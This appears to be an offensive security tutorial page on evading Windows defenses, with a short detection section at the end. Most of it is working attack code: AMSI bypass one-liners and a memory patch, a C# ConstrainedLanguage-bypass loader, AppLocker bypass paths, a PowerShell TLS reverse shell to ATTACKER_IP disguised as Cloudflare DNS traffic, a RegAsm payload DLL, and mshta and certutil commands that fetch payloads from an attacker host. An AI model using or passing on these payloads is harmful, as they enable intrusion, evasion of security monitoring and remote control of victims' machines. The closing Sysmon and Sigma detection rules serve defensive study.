AMSI Bypass
AMSI (Anti-Malware Scan Interface) hooks into PowerShell to scan scripts before execution. Modern Defender heavily fingerprints known bypass techniques.
Modern Detection Reality
As of 2026, all publicly documented AMSI bypass techniques are detected by Windows Defender on fully patched systems. The techniques below are documented for educational purposes and understanding detection mechanisms.
Matt Graeber's Reflection Bypass
Sets amsiInitFailed to true via .NET reflection, causing AMSI to believe initialization failed and skip scanning.
# Classic version - immediately flagged by static signatures
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# String splitting evades static signatures but behavioral detection catches the pattern [Ref].Assembly.GetType('System.Management.Automation.Amsi'+'Utils').GetField('amsiInit'+'Failed','NonPublic,Static').SetValue($null,!$false)
Memory Patching (AmsiScanBuffer)
Patches the AmsiScanBuffer function in memory to always return AMSI_RESULT_CLEAN. Requires VirtualProtect to change memory permissions.
// VirtualProtect + memory writes to AMSI regions trigger EDR alerts IntPtr hAmsi = LoadLibrary("amsi.dll"); IntPtr asb = GetProcAddress(hAmsi, "AmsiScanBuffer"); uint oldProtect; VirtualProtect(asb, (UIntPtr)5, 0x40, out oldProtect); // PAGE_EXECUTE_READWRITE Marshal.WriteByte(asb, 0xB8); // mov eax Marshal.WriteByte(asb + 1, 0x57); // AMSI_RESULT_CLEAN Marshal.WriteByte(asb + 2, 0x00); Marshal.WriteByte(asb + 3, 0x07); Marshal.WriteByte(asb + 4, 0x80); Marshal.WriteByte(asb + 5, 0xC3); // ret
Why AMSI Bypasses Fail
Static Signatures
Known AMSI bypass strings (AmsiUtils, amsiContext, amsiInitFailed) are flagged immediately
Behavioral Heuristics
Reflection + field manipulation patterns detected even with obfuscation
Memory Monitoring
VirtualProtect calls on AMSI regions trigger Defender alerts
ETW Telemetry
PowerShell execution logged even if AMSI bypassed
PowerShell v2 Downgrade
PowerShell v2 predates AMSI and doesn't have scanning integration. However, it's not installed by default on modern Windows.
# Only works if .NET 3.5 is installed (not default on Windows 11) powershell.exe -version 2 -Command {Write-Host "No AMSI here"}
ConstrainedLanguage Mode Bypass
ConstrainedLanguage Mode (CLM) restricts PowerShell capabilities by blocking reflection, COM objects, and dynamic type loading. The bypass exploits the fact that programmatically created runspaces default to FullLanguage mode.
What CLM Blocks
❌ Blocked Operations
- • Reflection: .GetType(), .GetMethod(), .GetField()
- • Dynamic type loading
- • COM object creation
- • Add-Type (custom compilation)
- • .NET type resolution beyond core
✓ Still Allowed
- • Basic cmdlets (Get-Process, etc.)
- • Core .NET types
- • String manipulation
- • File system operations
- • Network operations
# Check current PowerShell language mode $ExecutionContext.SessionState.LanguageMode # Returns: ConstrainedLanguage or FullLanguage
C# Runspace CLM Bypass
CLM enforcement lives in the PowerShell host process. A C#-created runspace defaults to FullLanguage mode and ignores the system-wide __PSLockdownPolicy. This is architectural - Microsoft does not treat CLM as a security boundary.
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Text;
namespace CLMBypass
{
class Program
{
static void Main(string[] args)
{
if (args.Length == 0) return;
// Decode base64 argument containing PowerShell payload
string base64Command = args[0];
byte[] decodedBytes = Convert.FromBase64String(base64Command);
string decodedCommand = Encoding.Unicode.GetString(decodedBytes);
// Create runspace - defaults to FullLanguage, bypassing CLM
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = runspace;
ps.AddScript(decodedCommand);
// Execute in FullLanguage context
var results = ps.Invoke();
foreach (var obj in results)
Console.WriteLine(obj.ToString());
runspace.Close();
}
}
}
Compilation Requirements
# 1. Create Console App (.NET Framework 4.7.2 or 4.8 - NOT .NET Core/5+) # 2. Add Reference to System.Management.Automation.dll: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll # 3. Build → Configuration Manager → Release → x64 # 4. Build Solution → Output: CLMBypass.exe
# Encode payload (on attacker machine) $payload = 'Get-Process; whoami' $bytes = [Text.Encoding]::Unicode.GetBytes($payload) $b64 = [Convert]::ToBase64String($bytes) # Execute on target - bypasses CLM .\CLMBypass.exe $b64
AppLocker Bypass
AppLocker controls which executables, scripts, and DLLs can run based on path, publisher, or hash rules. Default rules allow execution from %WINDIR% and %PROGRAMFILES%.
Default AppLocker Rules
✓ Allowed
%PROGRAMFILES%\*
✓ Allowed
%WINDIR%\*
❌ Blocked
C:\Users\*
Writable Allowed Paths
These paths are within %WINDIR% (allowed by default rules) but are writable by standard users - the classic AppLocker bypass.
# These paths are WRITABLE by standard users AND ALLOWED by default AppLocker rules C:\Windows\Tasks # Most reliable bypass location C:\Windows\Temp # Common alternative C:\Windows\tracing # Another option C:\Windows\System32\spool\drivers\color # Works on some configs
# Test from Desktop (should FAIL) Copy-Item .\tool.exe C:\Users\$env:USERNAME\Desktop\test.exe C:\Users\$env:USERNAME\Desktop\test.exe # Expected: "This program is blocked by group policy" # Test from C:\Windows\Tasks (should WORK) Copy-Item .\tool.exe C:\Windows\Tasks\tool.exe C:\Windows\Tasks\tool.exe <arguments> # Executes successfully - bypasses AppLocker
Check AppLocker Status
# Check if AppLocker service is running Get-Service -Name AppIDSvc # Get effective AppLocker policy Get-AppLockerPolicy -Effective # Check enforcement mode for executables Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections | Where-Object {$_.RuleCollectionType -eq 'Exe'} | Select-Object RuleCollectionType, EnforcementMode
Windows Defender Evasion
Windows Defender uses static signatures, behavioral heuristics, and cloud-based ML. TLS-encrypted reverse shells with runtime payload delivery have shown the most success.
TLS Reverse Shell Setup
TLS encryption hides malicious traffic. Using a certificate CN that mimics legitimate services (cloudflare-dns.com) helps blend with normal HTTPS traffic.
# Generate self-signed certificate with cloudflare-dns.com CN openssl req -x509 -newkey rsa:2048 \ -keyout key.pem \ -out cert.pem \ -days 365 -nodes \ -subj "/CN=cloudflare-dns.com" # Start TLS listener on port 443 openssl s_server -quiet -key key.pem -cert cert.pem -port 443
# TLS reverse shell - connects to attacker on port 443 $sslProtocols = [System.Security.Authentication.SslProtocols]::Tls12; $TCPClient = New-Object Net.Sockets.TCPClient('ATTACKER_IP', 443); $NetworkStream = $TCPClient.GetStream(); # Accept any certificate (self-signed) $SslStream = New-Object Net.Security.SslStream( $NetworkStream, $false, ({$true} -as [Net.Security.RemoteCertificateValidationCallback]) ); $SslStream.AuthenticateAsClient('cloudflare-dns.com', $null, $sslProtocols, $false); # Verify encryption if(!$SslStream.IsEncrypted -or !$SslStream.IsSigned) { $SslStream.Close(); exit } # Interactive shell loop $StreamWriter = New-Object IO.StreamWriter($SslStream); function WriteToStream ($String) { [byte[]]$script:Buffer = New-Object System.Byte[] 4096; $StreamWriter.Write($String + 'SHELL> '); $StreamWriter.Flush() }; WriteToStream ''; while(($BytesRead = $SslStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) { $Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1); $Output = try { Invoke-Expression $Command 2>&1 | Out-String } catch { $_ | Out-String } WriteToStream ($Output) } $StreamWriter.Close()
Why "cloudflare-dns.com"?
From a network monitoring perspective:
- • TLS connection appears to be DNS-over-HTTPS traffic
- • Cloudflare DNS (1.1.1.1) is a legitimate, widely-used service
- • Port 443 traffic blends with normal HTTPS
- • Certificate validation is disabled so self-signed cert works
Payload Encoding & Delivery
# Encode TLS shell payload for delivery via CLM bypass binary $payload = '<TLS reverse shell code from above>' $b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($payload)) # Execute via CLM bypass from AppLocker-safe location C:\Windows\Tasks\CLMBypass.exe $b64
LOLBins - Living Off The Land
LOLBins are legitimate Microsoft-signed binaries that can be abused for malicious purposes. They bypass AppLocker because they're signed by Microsoft and located in allowed paths.
RegAsm.exe - .NET Assembly Registration
Legitimate purpose: Register .NET assemblies for COM interop. Offensive use: Execute arbitrary .NET code via COM registration callbacks when the assembly is loaded.
# 64-bit C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe # 32-bit C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
using System;
using System.Runtime.InteropServices;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
namespace RegAsmBypass
{
[ComVisible(true)]
[Guid("B8E7E8E8-7E8E-4E8E-8E8E-8E8E8E8E8E8E")]
[ClassInterface(ClassInterfaceType.None)]
public class Payload
{
[ComRegisterFunction] // Called during RegAsm registration
public static void RegisterClass(string key) { Execute(); }
[ComUnregisterFunction] // Called during RegAsm /U (no admin needed)
public static void UnregisterClass(string key) { Execute(); }
private static void Execute()
{
string tlsShell = @"<TLS reverse shell payload here>";
// Create FullLanguage runspace (CLM bypass)
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = runspace;
ps.AddScript(tlsShell);
ps.Invoke();
runspace.Close();
}
}
}
# /U flag = unregister mode = no admin required = calls ComUnregisterFunction C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe /U C:\path\to\payload.dll
Why This Bypasses Defenses
AppLocker ✓
RegAsm.exe is Microsoft-signed in %WINDIR%
Defender ✓
COM registration is legitimate Windows operation
CLM ✓
DLL creates FullLanguage runspace
Other Useful LOLBins
# MSBuild - Execute inline tasks from XML C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.xml # InstallUtil - Execute via installer class C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /U payload.dll # Csc.exe - Compile and execute C# on the fly C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:payload.exe source.cs # Mshta.exe - Execute HTA/VBScript mshta.exe http://attacker/payload.hta # Certutil - Download files certutil.exe -urlcache -f http://attacker/payload.exe C:\Windows\Tasks\payload.exe
ExecEvasion - Automated Evasion Framework
Automates execution bypass techniques including AppLocker bypass, CLM bypass, AMSI patching, and LOLBin payload generation. Useful for red team engagements and security testing.
View on GitHubDetection & Defense
Understanding evasion techniques helps build better detection. The following SIEM rules and defensive measures address the techniques covered above.
Sysmon Detection Rules
<!-- Default SwiftOnSecurity config misses this path! --> <NetworkConnect onmatch="include"> <Image name="Usermode" condition="begin with">C:\Users</Image> <Image name="Tasks" condition="begin with">C:\Windows\Tasks</Image> </NetworkConnect>
# High-confidence detection for AppLocker bypass event.provider: "Microsoft-Windows-Sysmon" AND event.code: 1 AND winlog.event_data.CurrentDirectory: "C:\\Windows\\Tasks\\"
title: PowerShell Runspace Creation Bypass
description: Detects creation of PowerShell runspace to bypass ConstrainedLanguage
logsource:
product: windows
service: powershell
detection:
selection:
EventID: 4104
ScriptBlockText|contains:
- 'RunspaceFactory.CreateRunspace'
- 'Runspace.Open'
condition: selection
title: RegAsm Executing Suspicious DLL
description: Detects RegAsm.exe loading DLL from writable location
logsource:
product: windows
category: process_creation
detection:
selection:
Image|endswith: '\RegAsm.exe'
CommandLine|contains:
- 'C:\Windows\Tasks\'
- 'C:\Windows\Temp\'
- 'C:\Users\'
condition: selection
Network Detection Signals
High-Confidence Network IOCs
- • SNI/IP mismatch: TLS SNI "cloudflare-dns.com" connecting to RFC1918 (private) IP address
- • No DNS resolution: Outbound 443 with no preceding DNS query
- • Non-browser TLS: TLS connections from unsigned binaries or unusual processes
- • Empty hostname: Sysmon EID 3 with DestinationHostname = "-"
Defensive Countermeasures
Replace AppLocker with WDAC
Windows Defender Application Control enforces stricter code integrity, blocks writable allowed paths by design
Block Writable Windows Paths
icacls "C:\Windows\Tasks" /deny Users:(OI)(CI)W
Enforce CLM via UMCI
User Mode Code Integrity locks down PowerShell - cannot be bypassed by custom runspaces
Enable PowerShell Transcription
Logs all PowerShell activity including runspace execution
# Enable transcription logging via registry Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" ` -Name "EnableTranscripting" -Value 1 Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" ` -Name "OutputDirectory" -Value "C:\PSTranscripts"
# Block process creation from PSExec/WMI Add-MpPreference -AttackSurfaceReductionRules_Ids D1E49AAC-8F56-4280-B9BA-993A6D77406C ` -AttackSurfaceReductionRules_Actions Enabled # Block untrusted programs from removable drives Add-MpPreference -AttackSurfaceReductionRules_Ids b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4 ` -AttackSurfaceReductionRules_Actions Enabled
Key Takeaways
Red Team
- • CLM bypass via C# runspace is architectural (unpatched)
- • C:\Windows\Tasks bypasses both AppLocker AND default Sysmon
- • TLS encryption + runtime delivery evades static analysis
- • LOLBins provide signed execution from allowed paths
Blue Team
- • Default configs are NOT security boundaries
- • Add C:\Windows\Tasks to Sysmon NetworkConnect rules
- • Monitor RegAsm/MSBuild/InstallUtil execution from user paths
- • Replace AppLocker with WDAC for real protection